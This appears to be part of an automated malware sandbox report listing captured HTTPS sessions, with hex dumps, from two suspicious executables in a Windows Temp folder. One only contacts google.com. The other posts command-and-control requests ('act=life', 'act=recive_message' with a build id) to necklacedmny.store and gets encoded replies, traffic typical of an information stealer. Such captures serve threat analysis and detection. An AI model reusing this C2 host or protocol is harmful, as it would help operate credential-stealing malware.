XSRF-TOKEN=eyJpdiI6InlMNkNFVWdRY1d0TFhZdG5wOTlNeWc9PSIsInZhbHVlIjoiNkFqMXZrOWJCbEdselBaMHlCOGRKZXN4eUNXdk1BV2plSmRGT3RSK1F0K3BwVDZqQkZkYk5TT09yS0R6YXBwelZueXk4aWI5d1VrY1M1dFBXT3VuZHhLWk1JVzAzQkdpSUtXaG1WTkY0elBEWW5vL0NyeUp2THpDMnZrNm5NQ1MiLCJtYWMiOiJjMGVkZDhhOGUxNDE2YmE3YjgxM2Y5MWEyZjIzYWY2ZDE4ZDI5ZTY0MTRhN2Y3MzU2N2M2OWU2YjM2ZjJhNzkwIiwidGFnIjoiIn0%3D; expires=Thu, 31 Oct 2024 06:09:23 GMT; Max-Age=18000; path=/; secure Set-Cookie: g_session=eyJpdiI6IkpQOWJzcFgva3hvclVRRk1aQjN3c0E9PSIsInZhbHVlIjoiVGhPYmhlaUw5Sy91UXVEd2xtNEF0bEI2M3BVNGducGdhYlp3MFZ4bEh2YnRSNk5PYnZMTXYycEVBV0ZMenQyMElRTW1qZlFQSDd3SFZ6eGZQQStsRWl2RG82bzlYTkQ4MFR4Q1JLenM3SG1KQnF6bUc5UWk3RncwY2xKUmZnUU8iLCJtYWMiOiJmMWUyNDg0ZWZhZWI5YTYxZjE5YzAzYzY3Y2RhMmZlYzE1MzA1YjRkYjNhYzUxOThlOWFjOWU2YTRjYWRjNDkxIiwidGFnIjoiIn0%3D; expires=Thu, 31 Oct 2024 06:09:23 GMT; Max-Age=18000; path=/; secure; httponly cf-cache-status: DYNAMIC
2024-10-31 01:09:23 UTC	413	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 50 6a 5a 78 25 32 42 34 53 4d 30 6c 73 44 74 67 30 6c 37 47 55 6a 50 25 32 42 6c 47 78 25 32 42 70 6c 77 4c 72 75 32 63 72 58 48 45 69 72 5a 72 4d 61 49 67 65 25 32 46 68 64 6f 25 32 46 33 65 42 6f 69 34 4f 4a 4a 63 36 6c 6e 47 4f 76 51 4c 33 59 39 63 6a 63 33 78 44 6f 4e 6f 65 25 32 46 41 7a 4d 4f 68 25 32 42 4d 6b 4c 66 75 48 57 53 53 35 55 73 6e 63 43 68 55 69 4a 4a 34 61 44 63 63 76 51 79 38 53 78 4c 75 75 61 67 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PjZx%2B4SM0lsDtg0l7GUjP%2BlGx%2BplwLru2crXHEirZrMaIge%2Fhdo%2F3eBoi4OJJc6lnGOvQL3Y9cjc3xDoNoe%2FAzMOh%2BMkLfuHWSS5UsncChUiJJ4aDccvQy8SxLuuag%3D%3D"}],"group":"cf-nel","max_age":
2024-10-31 01:09:23 UTC	345	IN	Data Raw: 31 35 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 52 65 64 69 72 65 63 74 69 Data Ascii: 152<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://www.google.com/'" /> <title>Redirecting to https://www.google.com/</title> </head> <body> Redirecti
2024-10-31 01:09:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49993	142.250.185.68	443	1684	C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:09:24 UTC	93	OUT	GET / HTTP/1.1 Connection: Keep-Alive User-Agent: InstallFromUser Host: www.google.com
2024-10-31 01:09:25 UTC	1185	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:09:24 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=ISO-8859-1 Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-P5V25YULQJ64pyKOSmGyNg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp Accept-CH: Sec-CH-Prefers-Color-Scheme P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: AEC=AVYB7cpGgVbHNlu62D7_LFvVTFqmH8gW5-akt7IciN96InNmjZIf6vA_IzI; expires=Tue, 29-Apr-2025 01:09:25 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=lax Set-Cookie: NID=518=JhXgvufEZA1AmSYqy_MmE_L2uUbzUPWDfV-BUkQyJEUAxrUDpT5FscMXMK2ma8nTld8aeGSmHQaghYnP8yKoQeXoLU_bmnIYWVWprZ2tfHJtRiDVIzjj0jZwN66lIlhwPmUaR6YUtV_KVzR0ca-t_n7cmKzaCMFNbTmU5odKg5CUHp2uBHK4MefDSmjM_e2tvJEU; expires=Fri, 02-May-2025 01:09:24 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-31 01:09:25 UTC	193	IN	Data Raw: 33 36 39 63 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 74 65 6d 73 63 6f 70 65 3d 22 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 53 65 61 72 63 68 20 74 68 65 20 77 6f 72 6c 64 27 73 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2c 20 69 6e 63 6c 75 64 69 6e 67 20 77 65 62 70 61 67 65 73 2c 20 69 6d 61 67 65 73 2c 20 76 69 64 65 6f 73 20 61 6e 64 20 6d 6f 72 65 2e 20 47 6f 6f 67 6c 65 20 68 Data Ascii: 369c<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta content="Search the world's information, including webpages, images, videos and more. Google h
2024-10-31 01:09:25 UTC	1378	IN	Data Raw: 61 73 20 6d 61 6e 79 20 73 70 65 63 69 61 6c 20 66 65 61 74 75 72 65 73 20 74 6f 20 68 65 6c 70 20 79 6f 75 20 66 69 6e 64 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2e 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 6f 64 70 2c 20 22 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 2f 6c 6f 67 6f 73 2f 64 6f 6f 64 6c 65 73 2f 32 30 32 34 2f 68 61 6c 6c 6f 77 65 65 6e 2d 32 30 32 34 2d 36 37 35 33 36 Data Ascii: as many special features to help you find exactly what you're looking for." name="description"><meta content="noodp, " name="robots"><meta content="text/html; charset=UTF-8" http-equiv="Content-Type"><meta content="/logos/doodles/2024/halloween-2024-67536
2024-10-31 01:09:25 UTC	1378	IN	Data Raw: 2c 37 37 33 34 2c 31 38 30 39 38 2c 35 37 35 2c 38 38 36 31 2c 31 31 38 31 34 2c 31 36 33 35 2c 32 39 32 37 36 2c 32 37 30 38 33 2c 35 32 30 33 32 30 39 2c 31 30 34 36 33 2c 32 34 2c 34 39 31 2c 34 30 2c 35 39 39 32 31 33 33 2c 32 38 33 39 39 32 31 2c 31 30 31 35 2c 32 34 30 2c 36 2c 36 2c 35 2c 37 30 2c 32 2c 31 34 2c 33 31 2c 32 2c 31 2c 31 31 2c 31 32 2c 33 33 2c 31 37 2c 32 39 2c 31 2c 32 37 2c 35 2c 32 2c 31 2c 37 2c 31 2c 34 36 2c 36 2c 35 2c 32 2c 31 2c 36 2c 31 2c 36 2c 31 2c 36 2c 31 2c 35 2c 35 2c 32 37 39 37 39 33 33 31 2c 31 36 36 37 32 2c 34 33 38 38 37 2c 33 2c 32 31 32 35 39 36 39 2c 32 33 30 32 39 33 35 31 2c 36 38 36 39 2c 31 32 39 34 2c 34 36 33 36 2c 31 36 34 33 36 2c 31 32 30 32 34 2c 37 32 30 32 31 2c 32 32 36 32 33 2c 38 38 34 2c 31 Data Ascii: ,7734,18098,575,8861,11814,1635,29276,27083,5203209,10463,24,491,40,5992133,2839921,1015,240,6,6,5,70,2,14,31,2,1,11,12,33,17,29,1,27,5,2,1,7,1,46,6,5,2,1,6,1,6,1,6,1,5,5,27979331,16672,43887,3,2125969,23029351,6869,1294,4636,16436,12024,72021,22623,884,1
2024-10-31 01:09:25 UTC	1378	IN	Data Raw: 6c 3f 30 3a 61 2e 73 74 76 73 63 29 3f 67 6f 6f 67 6c 65 2e 6b 45 49 3d 5f 67 2e 6b 45 49 3a 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 3d 5f 67 3b 7d 29 2e 63 61 6c 6c 28 74 68 69 73 29 3b 7d 29 28 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 67 6f 6f 67 6c 65 2e 73 6e 3d 27 77 65 62 68 70 27 3b 67 6f 6f 67 6c 65 2e 6b 48 4c 3d 27 65 6e 27 3b 7d 29 28 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 76 61 72 20 68 3d 74 68 69 73 7c 7c 73 65 6c 66 3b 66 75 6e 63 74 69 6f 6e 20 6c 28 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 21 3d 3d 76 6f 69 64 20 30 26 26 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 2e 6b 4f 50 49 21 3d 3d 76 6f 69 64 20 30 26 26 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 2e 6b 4f 50 49 21 3d 3d 30 3f 77 69 6e 64 6f 77 2e 67 6f 6f 67 Data Ascii: l?0:a.stvsc)?google.kEI=_g.kEI:window.google=_g;}).call(this);})();(function(){google.sn='webhp';google.kHL='en';})();(function(){var h=this\|\|self;function l(){return window.google!==void 0&&window.google.kOPI!==void 0&&window.google.kOPI!==0?window.goog
2024-10-31 01:09:25 UTC	1378	IN	Data Raw: 69 73 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 67 6f 6f 67 6c 65 2e 79 3d 7b 7d 3b 67 6f 6f 67 6c 65 2e 73 79 3d 5b 5d 3b 76 61 72 20 64 3b 28 64 3d 67 6f 6f 67 6c 65 29 2e 78 7c 7c 28 64 2e 78 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 29 76 61 72 20 63 3d 61 2e 69 64 3b 65 6c 73 65 7b 64 6f 20 63 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 77 68 69 6c 65 28 67 6f 6f 67 6c 65 2e 79 5b 63 5d 29 7d 67 6f 6f 67 6c 65 2e 79 5b 63 5d 3d 5b 61 2c 62 5d 3b 72 65 74 75 72 6e 21 31 7d 29 3b 76 61 72 20 65 3b 28 65 3d 67 6f 6f 67 6c 65 29 2e 73 78 7c 7c 28 65 2e 73 78 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 73 79 2e 70 75 73 68 28 61 29 7d 29 3b 67 6f 6f 67 6c 65 2e 6c 6d 3d 5b 5d 3b 76 61 72 20 66 3b 28 66 3d 67 6f 6f 67 6c 65 Data Ascii: is);(function(){google.y={};google.sy=[];var d;(d=google).x\|\|(d.x=function(a,b){if(a)var c=a.id;else{do c=Math.random();while(google.y[c])}google.y[c]=[a,b];return!1});var e;(e=google).sx\|\|(e.sx=function(a){google.sy.push(a)});google.lm=[];var f;(f=google
2024-10-31 01:09:25 UTC	1378	IN	Data Raw: 68 3a 31 30 30 25 7d 40 6d 65 64 69 61 20 61 6c 6c 7b 2e 67 62 31 7b 68 65 69 67 68 74 3a 32 32 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2e 35 65 6d 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 7d 23 67 62 61 72 7b 66 6c 6f 61 74 3a 6c 65 66 74 7d 7d 61 2e 67 62 31 2c 61 2e 67 62 34 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 7d 61 2e 67 62 31 2c 61 2e 67 62 34 7b 63 6f 6c 6f 72 3a 23 30 30 63 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 67 62 69 20 2e 67 62 34 7b 63 6f 6c 6f 72 3a 23 64 64 38 65 32 37 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 67 62 66 20 2e 67 62 34 7b 63 6f 6c 6f 72 3a 23 39 30 30 20 21 69 6d 70 6f 72 74 61 6e 74 7d 0a 3c 2f 73 74 79 6c 65 3e 3c 73 74 79 6c 65 Data Ascii: h:100%}@media all{.gb1{height:22px;margin-right:.5em;vertical-align:top}#gbar{float:left}}a.gb1,a.gb4{text-decoration:underline !important}a.gb1,a.gb4{color:#00c !important}.gbi .gb4{color:#dd8e27 !important}.gbf .gb4{color:#900 !important}</style><style
2024-10-31 01:09:25 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 2e 65 72 64 3d 7b 6a 73 72 3a 31 2c 62 76 3a 32 31 30 36 2c 64 65 3a 74 72 75 65 7d 3b 0a 76 61 72 20 67 3d 74 68 69 73 7c 7c 73 65 6c 66 3b 76 61 72 20 6b 2c 6c 3d 28 6b 3d 67 2e 6d 65 69 29 21 3d 6e 75 6c 6c 3f 6b 3a 31 2c 6e 2c 70 3d 28 6e 3d 67 2e 73 64 6f 29 21 3d 6e 75 6c 6c 3f 6e 3a 21 30 2c 71 3d 30 2c 72 2c 74 3d 67 6f 6f 67 6c 65 2e 65 72 64 2c 76 3d 74 2e 6a 73 72 3b 67 6f 6f 67 6c 65 2e 6d 6c 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 64 2c 6d 2c 65 29 7b 65 3d 65 3d 3d 3d 76 6f 69 64 20 30 3f 32 3a 65 3b 62 26 26 28 72 3d 61 26 26 61 2e 6d 65 73 73 61 67 65 29 3b 64 3d 3d 3d 76 6f 69 64 20 30 26 26 28 64 3d 7b 7d 29 3b 64 2e 63 61 64 3d 22 70 6c 65 5f 22 2b 67 6f 6f 67 6c 65 2e 70 6c Data Ascii: tion(){window.google.erd={jsr:1,bv:2106,de:true};var g=this\|\|self;var k,l=(k=g.mei)!=null?k:1,n,p=(n=g.sdo)!=null?n:!0,q=0,r,t=google.erd,v=t.jsr;google.ml=function(a,b,d,m,e){e=e===void 0?2:e;b&&(r=a&&a.message);d===void 0&&(d={});d.cad="ple_"+google.pl
2024-10-31 01:09:25 UTC	1378	IN	Data Raw: 69 64 20 30 2c 21 31 2c 61 2e 6e 61 6d 65 3d 3d 3d 22 53 79 6e 74 61 78 45 72 72 6f 72 22 7c 7c 61 2e 6d 65 73 73 61 67 65 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 31 31 29 3d 3d 3d 22 53 79 6e 74 61 78 45 72 72 6f 72 22 7c 7c 61 2e 6d 65 73 73 61 67 65 2e 69 6e 64 65 78 4f 66 28 22 53 63 72 69 70 74 20 65 72 72 6f 72 22 29 21 3d 3d 2d 31 3f 33 3a 30 29 29 3b 72 3d 6e 75 6c 6c 3b 70 26 26 71 3e 3d 6c 26 26 28 77 69 6e 64 6f 77 2e 6f 6e 65 72 72 6f 72 3d 6e 75 6c 6c 29 7d 3b 7d 29 28 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 66 66 66 22 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 50 35 56 32 35 59 55 4c 51 4a 36 34 70 79 4b 4f 53 6d 47 79 4e 67 22 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 Data Ascii: id 0,!1,a.name==="SyntaxError"\|\|a.message.substring(0,11)==="SyntaxError"\|\|a.message.indexOf("Script error")!==-1?3:0));r=null;p&&q>=l&&(window.onerror=null)};})();</script></head><body bgcolor="#fff"><script nonce="P5V25YULQJ64pyKOSmGyNg">(function(){var
2024-10-31 01:09:25 UTC	1378	IN	Data Raw: 3f 68 6c 3d 65 6e 22 20 63 6c 61 73 73 3d 67 62 34 3e 53 65 74 74 69 6e 67 73 3c 2f 61 3e 20 7c 20 3c 61 20 74 61 72 67 65 74 3d 5f 74 6f 70 20 69 64 3d 67 62 5f 37 30 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 53 65 72 76 69 63 65 4c 6f 67 69 6e 3f 68 6c 3d 65 6e 26 70 61 73 73 69 76 65 3d 74 72 75 65 26 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 26 65 63 3d 47 41 5a 41 41 51 22 20 63 6c 61 73 73 3d 67 62 34 3e 53 69 67 6e 20 69 6e 3c 2f 61 3e 3c 2f 6e 6f 62 72 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 67 62 68 20 73 74 79 6c 65 3d 6c 65 66 74 3a 30 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 67 62 68 20 73 74 79 6c 65 Data Ascii: ?hl=en" class=gb4>Settings</a> \| <a target=_top id=gb_70 href="https://accounts.google.com/ServiceLogin?hl=en&passive=true&continue=https://www.google.com/&ec=GAZAAQ" class=gb4>Sign in</a></nobr></div><div class=gbh style=left:0></div><div class=gbh style
2024-10-31 01:09:25 UTC	1378	IN	Data Raw: 72 63 68 22 20 6d 61 78 6c 65 6e 67 74 68 3d 22 32 30 34 38 22 20 6e 61 6d 65 3d 22 71 22 20 73 69 7a 65 3d 22 35 37 22 3e 3c 2f 64 69 76 3e 3c 62 72 20 73 74 79 6c 65 3d 22 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 64 73 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6c 73 62 62 22 3e 3c 69 6e 70 75 74 20 63 6c 61 73 73 3d 22 6c 73 62 22 20 76 61 6c 75 65 3d 22 47 6f 6f 67 6c 65 20 53 65 61 72 63 68 22 20 6e 61 6d 65 3d 22 62 74 6e 47 22 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 64 73 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6c 73 62 62 22 3e 3c 69 6e 70 75 74 20 63 6c 61 73 73 3d 22 6c 73 62 22 20 69 64 3d 22 74 73 75 69 64 5f Data Ascii: rch" maxlength="2048" name="q" size="57"></div><br style="line-height:0"><span class="ds"><span class="lsbb"><input class="lsb" value="Google Search" name="btnG" type="submit"></span></span><span class="ds"><span class="lsbb"><input class="lsb" id="tsuid_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49996	188.114.97.3	443	5880	C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:09:37 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-31 01:09:37 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-31 01:09:38 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:09:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rl3eqislvcsj28p1ebfmo6631v; expires=Sun, 23-Feb-2025 18:56:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JeaP%2FkOlI2w3vUZDF7XFc8s40wWMIb84USYHgv%2FlhWXnv7wkeX63SuC2uLEMRNjb03CsF3b9t1gSdJn%2BzsIYY%2FkpTbb6VPrIjFHSe25VCjim7JqtKMdIQ0t%2FE2r4gYq1NRvkdC0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dafc2c0e929476d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1155&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=2324237&cwnd=251&unsent_bytes=0&cid=d0e8d06351b9bf75&ts=527&x=0"
2024-10-31 01:09:38 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-31 01:09:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49999	188.114.97.3	443	5880	C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:09:39 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-31 01:09:39 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-31 01:09:39 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:09:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=drrnu3bmagiv1ou6t2m72s473v; expires=Sun, 23-Feb-2025 18:56:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ze%2FhMZb5Da0Al2Fwe3zHashM9zqSaJEHVI%2Br%2Fm8AllGGWDbREw6KiSFtTK04a9d3ZBhP6AgNMoiGhbdaxIewtfQ%2FDPMLgAa3oa1L%2BSVmo2kKpk6l9%2FAwvmdEIm%2BGW1aF7XTw27g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dafc2c80bb6e98b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1296&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2019525&cwnd=243&unsent_bytes=0&cid=fc5e3cd314726349&ts=493&x=0"
2024-10-31 01:09:39 UTC	348	IN	Data Raw: 34 65 32 0d 0a 79 6c 4d 4b 78 35 53 71 56 64 57 76 36 73 76 49 44 65 7a 46 47 77 77 2b 71 33 74 73 58 78 70 51 7a 6e 42 76 78 32 42 45 38 4a 32 78 63 58 7a 6c 72 70 35 35 39 39 79 50 36 66 4a 35 6e 72 42 2b 49 42 7a 4b 48 30 35 6c 66 44 47 69 41 77 72 72 51 6a 4b 64 76 2f 41 31 61 36 76 6e 7a 33 6e 33 79 70 4c 70 38 6c 61 58 35 33 35 69 48 4a 46 5a 43 54 56 34 4d 61 49 53 44 71 77 50 4e 4a 7a 2b 6f 6a 39 74 72 2f 48 4a 4d 62 54 44 68 36 36 74 61 49 32 76 64 57 56 54 77 78 5a 4f 63 7a 67 31 74 46 4a 56 35 53 30 68 68 50 79 48 4d 6e 6d 73 74 74 64 35 72 6f 32 50 70 65 6f 33 7a 71 52 2b 62 6c 4c 4e 48 77 63 33 63 6a 69 71 45 77 75 74 45 43 32 57 39 61 49 78 62 71 37 37 77 43 57 35 79 59 43 6c 71 32 4b 4e 35 7a 63 75 57 39 46 5a 56 6e 30 72 41 4b 38 44 48 4c Data Ascii: 4e2ylMKx5SqVdWv6svIDezFGww+q3tsXxpQznBvx2BE8J2xcXzlrp5599yP6fJ5nrB+IBzKH05lfDGiAwrrQjKdv/A1a6vnz3n3ypLp8laX535iHJFZCTV4MaISDqwPNJz+oj9tr/HJMbTDh66taI2vdWVTwxZOczg1tFJV5S0hhPyHMnmsttd5ro2Ppeo3zqR+blLNHwc3cjiqEwutEC2W9aIxbq77wCW5yYClq2KN5zcuW9FZVn0rAK8DHL
2024-10-31 01:09:39 UTC	909	IN	Data Raw: 78 62 71 76 33 78 54 65 6c 78 59 4f 69 72 33 32 46 72 6e 52 6a 58 4d 51 54 41 54 35 34 4e 61 59 59 41 71 38 47 4b 35 2f 35 71 44 45 6f 36 37 62 50 4c 2f 65 56 79 49 71 76 66 34 6d 72 62 79 78 6d 69 51 5a 41 4a 44 67 31 6f 46 4a 56 35 51 6f 6a 6b 66 79 6a 50 6d 75 74 2f 64 6f 33 70 63 75 46 72 4c 68 70 69 36 6c 7a 62 55 37 44 46 77 67 2b 63 54 6d 6c 46 77 71 68 51 6d 6a 53 2b 4c 42 78 4d 4f 58 58 78 54 79 37 78 35 2b 70 36 6e 44 41 76 6a 6c 70 55 49 6c 42 54 6a 6c 35 4e 71 30 57 41 36 73 47 4b 70 54 78 70 54 35 75 72 2f 62 50 50 62 2f 46 69 61 53 68 59 49 36 69 64 47 70 61 78 52 67 4c 66 54 5a 79 71 77 70 4e 2f 55 49 49 6c 66 79 36 63 31 32 6d 2b 4d 59 77 6f 59 32 58 35 37 4d 76 69 61 73 35 4e 68 7a 48 48 41 45 76 65 53 43 70 48 42 2b 70 42 79 43 66 2f 4b Data Ascii: xbqv3xTelxYOir32FrnRjXMQTAT54NaYYAq8GK5/5qDEo67bPL/eVyIqvf4mrbyxmiQZAJDg1oFJV5QojkfyjPmut/do3pcuFrLhpi6lzbU7DFwg+cTmlFwqhQmjS+LBxMOXXxTy7x5+p6nDAvjlpUIlBTjl5Nq0WA6sGKpTxpT5ur/bPPb/FiaShYI6idGpaxRgLfTZyqwpN/UIIlfy6c12m+MYwoY2X57Mvias5NhzHHAEveSCpHB+pByCf/K
